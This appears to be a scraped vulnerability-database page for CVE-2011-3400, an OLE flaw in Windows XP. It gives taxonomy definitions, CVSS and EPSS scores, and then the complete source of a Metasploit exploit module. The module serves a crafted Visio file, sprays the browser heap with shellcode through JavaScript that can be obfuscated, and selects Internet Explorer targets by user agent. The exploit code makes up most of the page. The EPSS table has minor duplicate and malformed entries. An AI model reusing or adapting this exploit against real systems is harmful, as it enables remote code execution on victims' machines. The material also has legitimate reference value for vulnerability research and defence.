CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
Services & Price
Help & Info
Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
Microsoft Windows XP SP2 and SP3 and Server 2003 SP2 do not properly handle OLE objects in memory, which allows remote attackers to execute arbitrary code via a crafted object in a file, aka "OLE Property Vulnerability."
Improper Control of Generation of Code ('Code Injection') The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
9.3
AV:N/AC:M/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
91.01%
–
–
2022-02-27
–
–
90.77%
–
–
2022-05-29
–
–
89.68%
–
–
2023-03-12
–
–
–
97.16%
–
2023-05-14
–
–
–
97.07%
–
2023-07-16
–
–
–
97.06%
–
2023-11-12
–
–
–
97.05%
–
2024-01-07
–
–
–
97.1%
–
2024-03-03
–
–
–
97.11%
–
2024-04-21
–
–
–
97.04%
–
2024-06-02
–
–
–
97.04%
–
2024-06-16
–
–
–
97.02%
–
2024-09-22
–
–
–
97.01%
–
2024-11-17
–
–
–
97.18%
–
2024-12-22
–
–
–
97.08%
–
2025-01-05
–
–
–
97.16%
–
2025-02-16
–
–
–
97.2%
–
2025-01-19
–
–
–
97.16%
–
2025-02-16
–
–
–
97.2%
–
2025-03-18
–
–
–
–
85.21%
2025-03-18
–
–
–
–
85.21,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Windows OLE Object File Handling Remote Code Execution",
'Description' => %q{
This module exploits a type confusion vulnerability in the OLE32 component of
Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple
function.
A Visio document with a specially crafted Summary Information Stream embedded allows
to get remote code execution through Internet Explorer, on systems with Visio Viewer
installed.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Luigi Auriemma', # Vulnerability discovery and PoC
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2011-3400' ],
[ 'OSVDB', '77663'],
[ 'BID', '50977' ],
[ 'URL', 'http://aluigi.org/adv/ole32_1-adv.txt' ],
[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=966' ]
],
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3 / Visio Viewer 2010',
{
'Offset' => '0x7ee - code.length',
'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header
}
],
[
'IE 7 on Windows XP SP3 / Visio Viewer 2010',
{
'Offset' => '0x7ee - code.length',
'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header
}
]
],
'Privileged' => false,
'DisclosureDate' => "Dec 13 2011",
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)
end
def get_target(agent)
# If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] # IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] # IE 7 on Windows XP SP3
else
return nil
end
end
def exploit
@vsd = create_vsd
super
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end
print_status("Client requesting: #{request.uri}")
if request.uri =~ /\.vsd$/
@vsd[5106, 2] = my_target['PtrToHeap']
print_status("Sending Exploit VSD")
send_response(cli, @vsd, { 'Content-Type' => 'application/vnd.visio' })
return
end
p = payload.encoded
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
js_pivot = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x1e0; i++) {
heap_obj.alloc(block);
}
JS
js_pivot = heaplib(js_pivot, {:noobfu => true})
if datastore['OBFUSCATE']
js_pivot = ::Rex::Exploitation::JSObfu.new(js_pivot)
js_pivot.obfuscate
end
vsd_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
vsd_uri << "/#{rand_text_alpha(rand(6)+3)}.vsd"
html = %Q|
<html>
<head>
<script>
#{js_pivot}
</script>
</head>
<body>
<object classid="clsid:F8CF7A98-2C45-4c8d-9151-2D716989DDAB" ID="target">
<param name=src value="#{vsd_uri}">
</object>
</body>
</html>
|
html = html.gsub(/^\t\t/, '')
print_status("Sending html")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def create_vsd
path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-3400", "CVE-2011-3400.vsd" )
fd = ::File.open( path, "rb" )
vsd = fd.read(fd.stat.size)
fd.close
return vsd
end
end